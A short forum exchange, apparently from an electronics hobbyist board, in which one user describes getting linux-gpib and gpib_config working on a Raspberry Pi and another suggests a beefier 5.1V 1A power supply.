Installed usual things, couldn't get linux-gpib to install properly in first place (could not find modules), but after bit of poking with rpi-source python script and few reboots I finally got linux-gpib to install and gpib_config to work.



 :-+ Credits to Dave Penkler and might of open-source software. Thanks!

BFX
Try beefier PSU. I had similar issues before with 4.9V PSU 500mA. After bumping power to 5.1V 1A - all good :)

xDevs.com | Have test gear documentation to share? Upload here! No size limits, firmware dumps and teardown photos welcome.
 
The following users thanked this post: dr.diesel, Kean, Assafl


Share me

Digg  Facebook  SlashDot  Delicious  Technorati  Twitter  Google  Yahoo
Smf